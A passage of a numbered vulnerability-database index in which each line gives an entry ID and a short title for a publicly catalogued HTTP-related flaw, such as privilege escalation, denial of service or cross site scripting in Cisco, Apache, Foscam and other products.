8339| [112398] libcURL up to 7.57.0 HTTP2 Out-of-Bounds memory corruption
8340| [112539] Mozilla Firefox up to 57.x WebExtension HTTPS privilege escalation
8341| [112330] Apache NiFi 1.5.0 Header HTTP Request privilege escalation
8342| [112294] AsusWRT up to 3.0.0.4 router/httpd/web.c do_vpnupload_post privilege escalation
8343| [112293] AsusWRT up to 3.0.0.4 router/httpd/httpd.c handle_request POST Request privilege escalation
8344| [112211] Cisco Prime Infrastructure Web Interface HTTP Request Open Redirect
8345| [112210] Cisco Prime Infrastructure Role-Based Access Control HTTP Request privilege escalation
8346| [112191] Cisco Switch Web Framework HTTP Response Splitting privilege escalation
8347| [112186] Oxid eShop HTTP Response CRLF privilege escalation
8348| [112028] Oracle HTTP Server Web Listener denial of service
8349| [112022] Oracle HTTP Server Web Listener information disclosure
8350| [111945] Asus Router AsusWRT-Merlin router/httpd/web.c ej_update_variables Variable memory corruption
8351| [111936] Master IPCAMERA01 3.3.4.2103 HTTP Request information disclosure
8352| [111897] Open On-Chip Debugger 0.10.0 Service Port 4444 HTTP POST Request privilege escalation
8353| [111836] D-Link DSL-2540U/DSL-2640U 1.00 diag_ping.cmd HTTP GET Request command injection
8354| [111814] Sophos SFOS up to 17.0.3 MR2 Logging Subsystem HTTP POST Request Persistent cross site scripting
8355| [111807] Phoenix Contact FL SWITCH 1.0 HTTP Requests weak authentication
8356| [111716] Undertow up to 1.3.30/1.4.16/2.0.0.Alpha1 Incomplete Fix CVE-2017-2666 HTTP Request HTTP Poisoning privilege escalation
8357| [111709] Yawcam up to 0.6.0 HTTP Server directory traversal
8358| [111461] Communigate Pro 6.2 XML Interface /Session HTTP POST Request spoofing
8359| [111406] DuoLingo TinyCards up to 0.x on Android HTTP weak encryption
8360| [111276] EmbedThis GoAhead Webserver up to 4.0.0 HTTP Listener Integer Overflow denial of service
8361| [111206] Red Lion HMI Panel HMI 2.41 PLC 2.42 URI HTTP POST Request denial of service
8362| [111181] NetTransport Download Manager up to 2.96L NetTransport.exe HTTP Response memory corruption
8363| [111027] AirLive BU-2015/BU-3026/WL-2000CAM/POE-200CAM 1.03.18 Web Server wireless_mft.cgi HTTP Requests weak authentication
8364| [111119] Apple macOS up to 10.13.1 IOAcceleratorFamily memory corruption
8365| [111053] GetGo Download Manager up to 5.3.0.2712 HTTP Server memory corruption
8366| [110998] H2O up to 2.2.3 HTTP2 Header denial of service
8367| [110994] H2O up to 2.2.2 HTTP1 Header denial of service
8368| [110982] F5 BIG-IP 12.1.0/12.1.1/12.1.2/13.0.0 HTTP HTTP Requests denial of service
8369| [110856] IBM Security Guardium 10.0 HTTP Response Splitting privilege escalation
8370| [110799] Zivif PR115-204-P-RS 2.3.4.2103 param.cgi HTTP Request weak authentication
8371| [110793] Kemp Load Balancer up to 7.2.40.0 Web Application Firewall HTTP POST Request Bypass privilege escalation
8372| [110734] ACTi Camera A1D-500-V6.11.31-AC HTTP GET information disclosure
8373| [110717] Mckesson Conserus Workflow Intelligence 2.0.2 HTTP GET Request weak authentication
8374| [110704] Rapid7 Nexpose up to 6.4.65 Web Application HTTP Requests cross site request forgery
8375| [110670] vBulletin up to 5.3.x on Windows HTTP Request directory traversal
8376| [110508] SAP HANA 1.0 HTTP/REST Endpoint Controller Log privilege escalation
8377| [110477] Check_MK up to 1.2.8p24/1.4.0p8 HTTP Basic Authentication Parameter cross site scripting
8378| [110437] Adobe Experience Manager 6.0/6.1/6.2/6.3 Token HTTP GET Request information disclosure
8379| [110336] Fossil up to 2.3 SSH Sync Protocol http_transport.c Hostname privilege escalation
8380| [110238] Dell Storage Manager up to 16.3.19 SMI-S Service HTTP Requests denial of service
8381| [110192] Synology Photo Station up to 6.3/6.8.1 HTTP Config File .htaccess information disclosure
8382| [110186] ZKTime Web 2.0.1.12280 Modify Password password_change() HTTP Request cross site request forgery
8383| [129040] Apple iOS up to 11.1 HTTP weak encryption
8384| [110146] ZTE ZXDSL 831CII HTTP Basic Authentication connoppp.cgi GET Request privilege escalation
8385| [110110] D-Link DIR-605L HNAP HTTP Request Crash denial of service
8386| [110108] Restlet Framework up to 2.3.11 REST API HTTP Request XML External Entity
8387| [110107] Restlet Framework up to 2.3.10 SimpleXMLProvider REST API HTTP Request XML External Entity
8388| [110081] Cisco Secure Access Control System Web Interface HTTP Requests information disclosure
8389| [110056] Cisco WebEx Meeting Center Access Control HTTP Traffic privilege escalation
8390| [109979] TP-LINK TL-WVR/TL-WAR/TL-ER/TL-R uhttpd interface.lua get_device_byif privilege escalation
8391| [109978] TP-LINK TL-WVR/TL-WAR/TL-ER/TL-R uhttpd cgi-bin/luci HTTP Header information disclosure
8392| [109977] TP-LINK TL-WVR/TL-WAR/TL-ER/TL-R uhttpd bridge.lua get_device_byif privilege escalation
8393| [109976] TP-LINK TL-WVR/TL-WAR/TL-ER/TL-R uhttpd diagnostic.lua zone_get_effect_devices privilege escalation
8394| [109961] DBL DBLTek HTTP Basic Authentication frame.html Parameter privilege escalation
8395| [109893] Huawei Vmall App up to 1.5.8.4 on Android HTTP Requests privilege escalation
8396| [109852] Huawei VCM5010 HTTP Request File Upload weak authentication
8397| [109644] British Columbia Institute of Technology CodeIgniter 3.1.3 set_status_header() HTTP Header privilege escalation
8398| [109472] Cisco Registered Envelope Service Web-based Management Interface HTTP Request cross site scripting
8399| [109471] Cisco Registered Envelope Service Web-based Management Interface HTTP Request cross site scripting
8400| [109470] Cisco Registered Envelope Service Web-based Management Interface HTTP Request cross site scripting
8401| [109469] Cisco Registered Envelope Service Web-based Management Interface HTTP Request cross site scripting
8402| [109453] Cisco Registered Envelope Service Web-based Management Interface HTTP Request cross site scripting
8403| [109452] Cisco Registered Envelope Service Web-based Management Interface HTTP Request cross site scripting
8404| [109451] Cisco Registered Envelope Service Web-based Management Interface HTTP Request cross site scripting
8405| [109404] b3log Symphony 2.2.0 Admin Console AdminProcessor.java HTTP Header cross site scripting
8406| [109326] Ulterius up to 1.8.4 HTTP Server HttpServer.cs Process directory traversal
8407| [109260] Debut Embedded http Server 1.20 HTTP Request Flooding denial of service
8408| [109217] Circle with Disney 2.0.1 HTTP Request /api/CONFIG/restore Network Packet privilege escalation
8409| [109216] Circle with Disney 2.0.1 SSID HTTP Requests Shell privilege escalation
8410| [109205] Cesanta Mongoose 6.8 HTTP Server HTTP POST Request Use-After-Free memory corruption
8411| [109204] Circle with Disney 2.0.1 HTTP Request /api/CONFIG/restore Network Packet privilege escalation
8412| [109198] Circle with Disney HTTP Packet /api/CONFIG/backup privilege escalation
8413| [108907] Cisco WebEx Meetings Server HTTP Header Reply HTTP Response information disclosure
8414| [108795] Apache Traffic Server up to 5.3.0 HTTP2 set_dynamic_table_size memory corruption
8415| [108787] Apache HttpClient up to 4.3.0 HttpClientBuilder.java unknown vulnerability
8416| [108734] F5 BIG-IP up to 11.5.4/11.6.1/12.1.1 Traffic Management Microkernel HTTP Request Restart denial of service
8417| [108732] F5 BIG-IP up to 11.5.4/11.6.1/12.1.1 HTTP Proxy/SOCKS privilege escalation
8418| [108657] GNU wget up to 1.19.1 HTTP Chunk Size src/retr.c fd_read_body memory corruption
8419| [108656] GNU wget up to 1.19.1 HTTP Chunk Size src/http.c skip_short_body memory corruption
8420| [108655] Fortinet FortiMail up to 5.1/5.2.9/5.3.9 Webmail Login HTTP Requests Reflected cross site scripting
8421| [108654] Fortinet FortiWLC up to 6.1-5/7.0-10/8.2/8.3.2 WebUI HTTP Requests privilege escalation
8422| [108653] Fortinet FortiWLC up to 8.3.2 HTTP POST Request cross site scripting
8423| [108593] Redis up to 3.2.6 networking.c HTTP Request privilege escalation
8424| [108544] reseed Installation HTTP Request weak authentication
8425| [108312] Apache HTTP Server on RHEL IP Address Filter privilege escalation
8426| [108269] Cisco Network Analysis Module Web Interface HTTP Requests directory traversal
8427| [108250] Oracle Secure Global Desktop 5.3 Apache HTTP Server memory corruption
8428| [108100] Oracle HTTP Server OSSL Module information disclosure
8429| [108096] Oracle HTTP Server 11.1.1.9.0/12.1.3.0.0 Web Listener information disclosure
8430| [108091] Oracle HTTP Server Web Listener information disclosure
8431| [107992] Google Go up to 1.4.2 net/http net/http/transfer.go HTTP Request privilege escalation
8432| [107991] Google Go up to 1.4.2 net/http net/textproto/reader.go HTTP Request privilege escalation
8433| [107865] EWBF Cuda Zcash Miner 0.3.4b HTTP API TCP Connection denial of service
8434| [107863] AIRTAME HDMI Dongle up to 2.x Admin Panel /bin/login.php HTTP Header privilege escalation
8435| [107848] Juniper Junos on SRX HTTPS Certificate Validator Man-in-the-Middle weak authentication
8436| [107607] IBM WebSphere Application Server 7.0/8.0/8.5/9.0 HTTP Response Splitting privilege escalation
8437| [107563] libcsoap nanohttp NULL Pointer Dereference denial of service
8438| [107554] http gem up to 0.7.2 on Ruby Hostname Validator SSL Connection weak authentication
8439| [107532] Trend Micro OfficeScan 11.0/12.0 fcgiOfcDDA.exe HTTP Requests denial of service
8440| [107489] Cisco License Manager Web Interface HTTP Request directory traversal
8441| [107485] Cisco ASA HTTP Request denial of service
8442| [107478] Akka http up to 10.0.5 HTTP Header Stack-based denial of service
8443| [107462] Google Go 1.6.3/1.7.3 net-http RequestParseMultipartForm File Descriptor denial of service
8444| [107333] Apache Wicket up to 8.0.0-M1 CSRF Prevention HTTP Header privilege escalation
8445| [107312] Philips Hue Bridge BSB002 SW 1707040932 Public API HTTP Traffic weak encryption
8446| [107286] EGroupware Community Edition up to 16.1 HTTP Header Stored cross site scripting
8447| [107283] SmarterStats 11.3.6347 HTTP Header ReferringURLsWithQueries cross site scripting
8448| [107262] Apache Mesos up to 1.1.2/1.2.1/1.3.0/1.4.0-dev libprocess HTTP Request Crash denial of service
8449| [107258] Apache Mesos up to 1.1.2/1.2.1/1.3.0/1.4.0-dev libprocess HTTP Request Crash denial of service
8450| [107229] Cisco IOS XE up to 3.7.5E Wireless LAN Controller GUI HTTP Requests privilege escalation
8451| [107101] Plone up to 3.3.6 HTTP Response Injection privilege escalation
8452| [106935] Cisco Wide Area Application Services HTTP Request denial of service
8453| [106931] Cisco Unified Customer Voice Portal 10.5 OAMP Reset HTTP Request privilege escalation
8454| [106867] Polycom RealPresence Resource Manager up to 8.3 Session Identifier HTTP GET Request information disclosure
8455| [106866] Polycom RealPresence Resource Manager up to 8.3 PlcmRmWeb/JConfigManager HTTP POST Request information disclosure
8456| [106846] Apache Tomcat up to 7.0.79 on Windows HTTP PUT Method Parameter File Upload privilege escalation
8457| [106831] Cisco Cloud Web Security up to 3.0.1.6 Filter HTTP Method privilege escalation
8458| [106777] Apache HTTP Server up to 2.2.34/2.4.27 Limit Directive ap_limit_section HTTP Request information disclosure
8459| [106570] D-Link DIR-850L up to FW114WWb07_h2ab_beta1/FW208WWb02 mydlink Cloud Service HTTP weak encryption
8460| [106556] Apache Traffic Server up to 5.3.1 HTTP2 unknown vulnerability
8461| [106555] Apache Traffic Server up to 5.3.1 HTTP2 unknown vulnerability
8462| [106233] Yes Set-top Box on Cisco HTTP Remote Procedure Call Request denial of service
8463| [106229] dayrui FineCMS 5.0.11 controllers/Form.php call_msg HTTP Header cross site scripting
8464| [106228] dayrui FineCMS 5.0.11 Login.php out HTTP Header cross site scripting
8465| [106227] dayrui FineCMS 5.0.11 api.php oauth HTTP Header cross site scripting
8466| [106318] Google Chrome HTTPS Redirect weak encryption
8467| [106128] Scrapy 1.4 http11.py denial of service
8468| [106124] GoAhead up to 3.6.5 http.c websDecodeUrl denial of service
8469| [106086] Intel McAfee LiveSafe up to 16.0.2 HTTP Backend privilege escalation
8470| [106085] Intel McAfee Live Safe/McAfee Security Scan Plus HTTP Backend privilege escalation
8471| [106031] Async Http Client up to 2.0.34 privilege escalation
8472| [106000] CrushFTP up to 7.7.x/8.1.x HTTP Header unknown vulnerability
8473| [105883] Huawei VCN500 Operation and Maintenance Unit HTTP Request sql injection
8474| [105799] fli4l up to 3.10.0/4.0 httpd HTTP Header Injection privilege escalation
8475| [105798] fli4l up to 3.10.0/4.0 httpd privilege escalation
8476| [105736] IBM EN6131/IB6131 up to 3.4 HTTP Response CRLF privilege escalation
8477| [105734] D-Link DNR-320L/DNS-320LW/DNR-322L/DNR-326/DNS-327L HTTP Header login_mgr.cgi memory corruption
8478| [105424] Cisco Unified Communications Manager 10.5(2.10000.5)/11.0(1.10000.10)/11.5(1.10000.6) Role Based Access Control HTTP Request privilege escalation
8479| [105423] Cisco WebEx Meetings Server 1.0.0.30/1.0.0.33/1.0.1.9/1.0.1.16 Web Interface HTTP Response information disclosure
8480| [105219] Apache Tomcat up to 8.5.15/9.0.0.M21 HTTP2 Bypass directory traversal
8481| [105205] Apache CXF up to 3.0.11/3.1.8 HTTP Transport Module Parameter cross site scripting
8482| [105191] Asus RT-N300 up to 380.67_0RT-AC5300 httpd HTTP GET Request Stack-based memory corruption
8483| [104960] Loginizer Plugin up to 1.3.5 on WordPress HTTP Header sql injection
8484| [104857] Debut Embedded httpd 1.20 on DCP-J132W HTTP Packet denial of service
8485| [104674] IBM InfoSphere Master Data Management up to 11.6 HTTP Parameter Duplicate privilege escalation
8486| [104564] Cacti 1.1.13 HTTP Header auth_profile.php Referer Header cross site scripting
8487| [104533] mod_http2 2.4.24/2.4.25 HTTP2 Request NULL Pointer Dereference denial of service
8488| [104333] Cisco ASR 5000 Restriction HTTP Request Bypass privilege escalation
8489| [104332] Cisco ASR 5000 GGSN Gateway HTTP Request Open Redirect
8490| [103780] MetInfo 5.3.17 HTTP Header /include/stat/stat.php cross site scripting
8491| [103693] Apache OpenMeetings 1.0.0 HTTP Method privilege escalation
8492| [103621] Live Helper Chat up to 2.06v HTTP Header cross site scripting
8493| [103593] Oracle GlassFish Server Open Source Edition 4.1 HTTP GET Request directory traversal
8494| [103557] Foreman up to 1.8.x HTTP Redirect weak encryption
8495| [103521] Apache HTTP Server 2.4.26 HTTP2 Free memory corruption
8496| [103520] Apache HTTP Server up to 2.2.33/2.4.26 mod_auth_digest Authorization Header memory corruption
8497| [103489] McAfee Advanced Threat Defense 3.4/3.6/3.8/3.10 Web Interface HTTP Request command injection
8498| [103488] McAfee Advanced Threat Defense 3.4/3.6/3.8/3.10 Web Interface HTTP Request command injection
8499| [103487] McAfee Advanced Threat Defense 3.4/3.6/3.8/3.10 HTTP Request weak authentication
8500| [103410] FineCMS Logging HTTP Request Stored cross site scripting
8501| [103441] Microsoft Windows up to Server 2016 Object HTTP.sys information disclosure
8502| [103292] Etherpad up to 1.1.1 HTTP API Request node/utils/Minify.js directory traversal
8503| [103275] FineCMS HTTP Host Header get_image_data.php Server-Side Request Forgery
8504| [102926] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request memory corruption
8505| [102925] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface pureftpd.passwd HTTP Request privilege escalation
8506| [102924] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request Shell privilege escalation
8507| [102923] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request Shell privilege escalation
8508| [102922] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request Shell privilege escalation
8509| [102921] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request Shell privilege escalation
8510| [102920] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request privilege escalation
8511| [102919] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request privilege escalation
8512| [102904] sthttpd up to 2.27.0 libhttpd.c de_dotdot Filename memory corruption
8513| [102902] Arcadyan SLT-00 Star* up to R7.6 Static Routing Table Config HTTP Request privilege escalation
8514| [102891] FFmpeg up to 2.8.11/3.0.7/3.1.7/3.2.4/3.3.0 HTTP Live Streaming Filename Extension Name information disclosure
8515| [102879] PHPUnit up to 4.8.27/5.6.2 HTTP POST Util/PHP/eval-stdin.php privilege escalation
8516| [102865] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request privilege escalation
8517| [102864] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request privilege escalation
8518| [102863] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request privilege escalation
8519| [102806] ntopng up to 2.x HTTP Response Splitting privilege escalation
8520| [102782] Vivotek IB8369/FD8164/FD816BA Web Service downloadMedias.cgi HTTP Request directory traversal
8521| [102781] Vivotek IB8369/FD8164/FD816BA Web Service testserver.cgi HTTP Request command injection
8522| [102774] IBM Sterling B2B Integrator Standard Edition 5.2 HTTP GET Request information disclosure
8523| [102772] IBM Sterling B2B Integrator Standard Edition 5.2 HTTP information disclosure
8524| [102721] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request memory corruption
8525| [102720] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request memory corruption
8526| [102719] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request directory traversal
8527| [102718] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request Shell privilege escalation
8528| [102717] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request command injection
8529| [102716] Foscam C1 Indoor HD Camera Web Management Interface HTTP Request Stack-based memory corruption
8530| [102698] Apache HTTP Server up to 2.2.32/2.4.25 mod_mime Content-Type memory corruption
8531| [102697] Apache HTTP Server 2.2.24/2.2.32 HTTP Strict Parsing ap_find_token Request Header memory corruption
8532| [102693] MediaTek SDK Custom httpd Plugin POST Request weak authentication
8533| [102690] Apache HTTP Server up to 2.2.32/2.4.25 mod_ssl ap_hook_process_connection() denial of service
8534| [102689] Apache HTTP Server up to 2.2.32/2.4.25 ap_get_basic_auth_pw weak authentication
8535| [102276] Cloud Foundry HTTP Header unknown vulnerability
8536| [102020] Apache Tomcat up to 9.0.0.M1 Java Servlet HTTP Method unknown vulnerability
8537| [101825] Contiki Operating System 3.0 MQTT/IBM Cloud Config Page HTTP POST Request Persistent cross site scripting
8538| [101824] Contiki Operating System 3.0 httpd-simple.c denial of service
8539| [101768] Spring Security up to 3.2.4 CAS Proxy Ticket Authentication HTTP Request Bypass privilege escalation
8540| [101745] Trend Micro ServerProtect for Linux 3.0 Update HTTP weak authentication
8541| [101642] Vanilla Forums up to 2.3.0 Password Reset class.email.php from HTTP Host Header information disclosure
8542| [101561] Cisco Remote Expert Manager 11.0.0 Web Interface HTTP Requests information disclosure
8543| [101560] Cisco Remote Expert Manager 11.0.0 Web Interface HTTP Requests information disclosure
8544| [101559] Cisco Remote Expert Manager 11.0.0 Web Interface HTTP Requests information disclosure
8545| [101558] Cisco Remote Expert Manager 11.0.0 Web Interface HTTP Requests information disclosure
8546| [101557] Cisco Remote Expert Manager 11.0.0 Web Interface HTTP Requests information disclosure
8547| [101556] Cisco Remote Expert Manager 11.0.0 Web Interface HTTP Requests information disclosure
8548| [101554] Cisco Prime Collaboration Provisioning up to 11.0 Role-Based Access Control HTTP Requests directory traversal
8549| [101553] Cisco Prime Collaboration Provisioning up to 11.0 Role-Based Access Control HTTP Requests directory traversal
8550| [101552] Cisco Prime Collaboration Provisioning up to 12.0 Role-Based Access Control HTTP Requests directory traversal
8551| [101547] Tenda FH1202/F1202/F1200 up to 1.2.0 HTTP Service POST Request Stack-based denial of service
8552| [101529] PlaySMS 1.4 Phonebook Import import.php HTTP Header privilege escalation
8553| [101515] Red Hat JBoss Application Server up to 4.x JMS over HTTP Invocation Layer HTTPServerILServlet.java privilege escalation
8554| [101489] MODX Revolution up to 2.5.6 HTTP Header Cache cross site scripting
8555| [101484] WordPress up to 4.7.4 HTTP Class Open Redirect
8556| [101483] WordPress up to 4.7.4 XML-RPC API HTTP POST Request privilege escalation
8557| [101480] WordPress up to 4.7.4 XML-RPC API HTTP POST Request unknown vulnerability
8558| [101474] Cisco Prime Collaboration Provisioning up to 12.0 Web Interface HTTP Request weak authentication
8559| [101473] Cisco Prime Collaboration Provisioning up to 10.6 Web Interface HTTP Request information disclosure
8560| [101439] McAfee Network Data Loss Prevention 9.3.x Web Server HTTP Method information disclosure
8561| [101438] McAfee Network Data Loss Prevention 9.3.x HTTP Response Header Clickjacking privilege escalation
8562| [101436] McAfee Network Data Loss Prevention 9.3.x HTTP Response Header Banner information disclosure
8563| [101435] McAfee Network Data Loss Prevention 9.3.x HTTP Request information disclosure
8564| [101434] McAfee Network Data Loss Prevention 9.3.x HTTP Header cross site scripting
8565| [101424] Edgewater Edgemarc HTTP Web-Management Backdoor privilege escalation
8566| [101125] Synology Photo Station up to 6.5.3 HTTP Header login.php Shell Metacharacter privilege escalation
8567| [101008] Microsoft Internet Explorer 9/10/11 HTTPS Bypass privilege escalation
8568| [100893] Certec atvise scada up to 2.x HTTP Header privilege escalation
8569| [100909] Accellion FTA HTTP POST ldaptest.html privilege escalation
8570| [100890] IBM WebSphere Cast Iron 7.0.0/7.5.0.0 DNS/HTTP privilege escalation
8571| [100887] Citrix XenMobile Server up to 10.5.0 HTTP 302 Redirect Host Header spoofing
8572| [100856] WordPress up to 4.8.3 Password Reset wp-login.php mail HTTP Header Open Redirect
8573| [100841] Cisco Wide Area Application Services 6.2.1/6.2.1a/6.2.3a SMART-SSL Accelerator SSL Connection denial of service
8574| [100827] Opsview Monitor Pro up to 4.5.x/4.6.4/5.0.2/5.1.0 HTTP GET Request directory traversal
8575| [100673] TS-WPTCAM/TS-WPTCAM2/TS-WLC2/TS-WRLC/TS-PTCAM up to 1.18 HTTP Header Injection privilege escalation
8576| [100603] TP-LINK C2/C20i up to 0.9.1 HTTP Request Command privilege escalation
8577| [100602] TP-LINK C2/C20i up to 0.9.1 HTTP Server /cgi/ansi Cookie denial of service
8578| [100534] Kallithea up to 0.3.1 Routes HTTP Request CSRF privilege escalation
8579| [100484] TP-LINK TL-SG108E up to 1.1.2 httpupg.cgi weak authentication
8580| [100415] Cisco Integrated Management Controller 3.0(1c) Web-based GUI HTTP POST Request privilege escalation
8581| [100412] Cisco Integrated Management Controller 3.0(1c) Web-based GUI HTTP Request privilege escalation
8582| [100410] Cisco FindIT Network Probe Software 1.0.0 Role-Based Access Control HTTP Request information disclosure
8583| [100315] Mozilla Firefox up to 52 application/http-index-format Uninitialized Memory unknown vulnerability
8584| [100306] Mozilla Firefox up to 52 HTTP2 denial of service
8585| [100305] Mozilla Firefox up to 52 application/http-index-format memory corruption
8586| [100191] Oracle Secure Global Desktop 4.71/5.2/5.3 Web Server (Apache HTTP Server) information disclosure
8587| [99832] Moxa AWK-3131A 1.1 HTTP Header HTTP Poisoning privilege escalation
8588| [99812] Google Android up to 6.0 HTTP Header URLConnection privilege escalation
8589| [99600] SAP TREX/Business Warehouse Accelerator Code Injection privilege escalation
8590| [99553] Cesanta MongooseOS/Mongoose Embedded Web Server Library mongoose.c mg_http_multipart_wait_for_boundary POST Request denial of service
8591| [99542] Synology Photo Station up to 6.3 HTTP Header photo/login.php Shell Metacharacter privilege escalation
8592| [99492] Facebook Proxygen HTTPMessage.request State Hijacking privilege escalation
8593| [99366] XiongMai uc-httpd HTTP Request directory traversal
8594| [99322] Trend Micro InterScan Web Security Virtual Appliance 6.5 HTTPS Traffic weak encryption
8595| [99317] Nextcloud Server up to 9.0.54/10.0.1 Quota HTTP Header privilege escalation
8596| [99288] Django up to 1.8.17/1.9.12/1.10.6 django.utils.http.is_safe_url cross site scripting
8597| [99125] Snoopy _httpsrequest privilege escalation
8598| [99570] Apache Tomcat up to 6.0.52/7.0.76/8.0.42/8.5.12/9.0.0.M18 HTTP Connector Cache information disclosure
8599| [99569] Apache Tomcat up to 6.0.52/7.0.76/8.0.42/8.5.12/9.0.0.M18 HTTP/2 GOAWAY Frame Resource Exhaustion denial of service
8600| [98998] OpenBSD 5.9 httpd Memory Consumption denial of service
8601| [98858] Apple tvOS up to 10.1 HTTPProtocol cross site scripting
8602| [98824] Apple watchOS up to 3.1 HTTPProtocol cross site scripting
8603| [98743] Apple iOS up to 10.2 HTTPProtocol unknown vulnerability
8604| [98631] Apple macOS up to 10.12.3 HTTPProtocol unknown vulnerability
8605| [98498] libgit2 up to 0.24.5/0.25.0 transports/http.c http_connect spoofing
8606| [98312] IBM Algorithmics One-Algo Risk Application 4.9.1/5.0/5.1.0 Report HTTP Request information disclosure
8607| [98291] Suricata up to 2.0.5 HTTP Request MemcmpLowercase privilege escalation
8608| [97936] Intel VirusScan Enterprise Linux up to 2.0.3 HTTP Header NailsConfig.html information disclosure
8609| [97892] Apache Tomcat up to 9.0.0.M15 Reverse-Proxy Http11InputBuffer.java information disclosure
8610| [97879] Goahead Web Server HTTP GET Request system.ini information disclosure
8611| [97809] EvoStream Media Server 1.7.1 HTTP Request memory corruption
8612| [97735] Asus RT-AC53 3.0.0.4.380.6038 HTTP Header Session Hijacking weak authentication
8613| [97727] IBM Tivoli Monitoring 6.2/6.3 Host Header HTTP Poisoning privilege escalation
8614| [97776] Mozilla Firefox up to 51.x HTTP Digest Authorization Response Out-of-Bounds memory corruption
8615| [97770] Mozilla Firefox up to 51.x HttpChannel NULL Pointer Dereference denial of service
8616| [97579] GNU wget up to 1.19.1 HTTP Header url.c url_parse privilege escalation
8617| [97834] Dahua DVR/NVR/IPC HTTP Service Backdoor privilege escalation
8618| [97081] Apache Tomcat HTTPS Request denial of service
8619| [97037] SAP Kernel 7.21-7.49 Message Server HTTP Daemon msgserver/group memory corruption
8620| [96750] FFmpeg up to 2.8.9/3.0.4/3.1.5/3.2.1 HTTP Response libavformat/http.c memory corruption
8621| [96723] IBM Sterling B2B Integrator Standard Edition HTTP OPTIONS information disclosure
8622| [96323] MyBB/MyBB Merge System up to 1.6.17/1.8.5 Forum Password xmlhttp.php privilege escalation
8623| [96298] OkHttp up to 2.7.3/3.1.1 Certificate weak authentication
8624| [96099] Huawei OceanStor 5800 HTTP Flooding denial of service
8625| [96077] PEAR HTTP_Upload v1.0.0b3 Upload.php privilege escalation
8626| [95851] Zoho WebNMS Framework 5.2/5.2 SP1 HTTP Header privilege escalation
8627| [95841] pecl_http up to 3.0.0 URL Parser memory corruption
8628| [95835] CakePHP up to 3.2.4 HTTP Header clientIp spoofing
8629| [95808] PRTG Network Monitor up to 16.2 HTTP XML REST Value Sensor 16.2.23.3077/3078 XML External Entity
8630| [95365] DiskBoss Enterprise HTTP GET memory corruption
8631| [95291] ZoneMinder 1.30.0 Apache httpd privilege escalation
8632| [95194] DiskBoss Enterprise 7.5.12 HTTP POST Request memory corruption
8633| [95120] Python HPACK Library up to 2.2.0 HTTP/2 HPACK Bomb denial of service
8634| [95119] Python Priority Library up to 1.1.x HTTP/2 CPU Exhaustion denial of service
8635| [95118] http-client up to 0.10 Environment Variable Proxy privilege escalation
8636| [95070] Pidgin MXIT Protocol HTTP Response Out-of-Bounds memory corruption
8637| [95033] DotClear up to 2.10.2 HTTP Host privilege escalation
8638| [94650] Siemens Desigo PX Web Module HTTPS Certificate Generation weak authentication
8639| [94635] Netgear WNR2000v3/WNR2000v4/WNR2000v5 uhttpd /apply.cgi memory corruption
8640| [94627] Apache HTTP Server up to 2.4.24 mod_auth_digest Crash denial of service
8641| [94626] Apache HTTP Server up to 2.4.24 mod_session_crypto Padding weak encryption
8642| [94625] Apache HTTP Server up to 2.4.24 Response Split privilege escalation
8643| [94167] Cisco IOS XR 6.1.1.BASE HTTP 2.0 Request Crash denial of service
8644| [94161] Cisco Web Security Appliance 9.0.1-162/9.1.1-074 HTTP URL Parser denial of service
8645| [93958] Apache HTTP Server up to 2.4.23 mod_http2 h2_stream.c denial of service
8646| [93903] Boa Webserver 0.92r HTTP GET send_redirect memory corruption
8647| [93879] IBM BigFix Remote Control up to 9.1.2 Broker Application HTTP Request denial of service
8648| [93740] Siemens SIMATIC S7-400 Session Cookie httponly privilege escalation
8649| [93714] Jaws CMS 1.1.1 Cookie httponly privilege escalation
8650| [93797] Apache Tomcat up to 6.0.47/7.0.72/8.0.38/8.5.6/9.0.0.M11 HTTP Split privilege escalation
8651| [93796] Apache Tomcat up to 8.5.6/9.0.0.M11 HTTP/2 Header Parser denial of service
8652| [93194] DokuWiki 2016-06-26a Media File Fetching /inc/HTTPClient.php HttpClient information disclosure
8653| [93021] IBM Security Guardium Database Activity Monitor up to 9.4/10.0.0.1 HTTP Request privilege escalation
8654| [93038] Mozilla Firefox up to 49.0.1 HTTP Cache information disclosure
8655| [93000] Cisco ASA 5.4.1.5/6.0/6.0.0.1 on 5500-X Firepower Detection Engine HTTP Restart denial of service
8656| [92936] Oracle E-Business Suite 12.1.3 HTTP Server information disclosure
8657| [92327] Drupal up to 8.1.9 HTTP Exception cross site scripting
8658| [92230] D-Link DWR-932B HTTP Service Default Admin Password privilege escalation
8659| [91831] Apache Jackrabbit up to 2.13.2 HTTP Header cross site request forgery
8660| [92128] Apple tvOS up to 9.x IOAcceleratorFamily Memory information disclosure
8661| [92110] Apple watchOS up to 2.x IOAcceleratorFamily Memory information disclosure
8662| [92080] Apple macOS up to 10.11 IOAcceleratorFamily memory corruption
8663| [92002] Apple iOS up to 10 IOAcceleratorFamily Memory information disclosure
8664| [91693] AVer Information EH6108H+ X9.03.24.00.07l HTTP Cookie Password weak encryption
8665| [91662] Pivotal Cloud Foundry Elastic Runtime up to 1.6.37/1.7.18 PHP Buildpack HTTP GET Request information disclosure
8666| [91661] Cisco Web Security Appliance up to 9.5.0-444 HTTP Request denial of service
8667| [91511] Cisco Hosted Collaboration Mediation Fulfillment up to 10.6(3) HTTP Request directory traversal
8668| [91489] Cisco SPA300/SPA500/SPA51x HTTP Request denial of service
8669| [91472] Cisco FireSIGHT/Firepower Management Center up to 6.0 Malware Detection HTTP Header Evasion privilege escalation
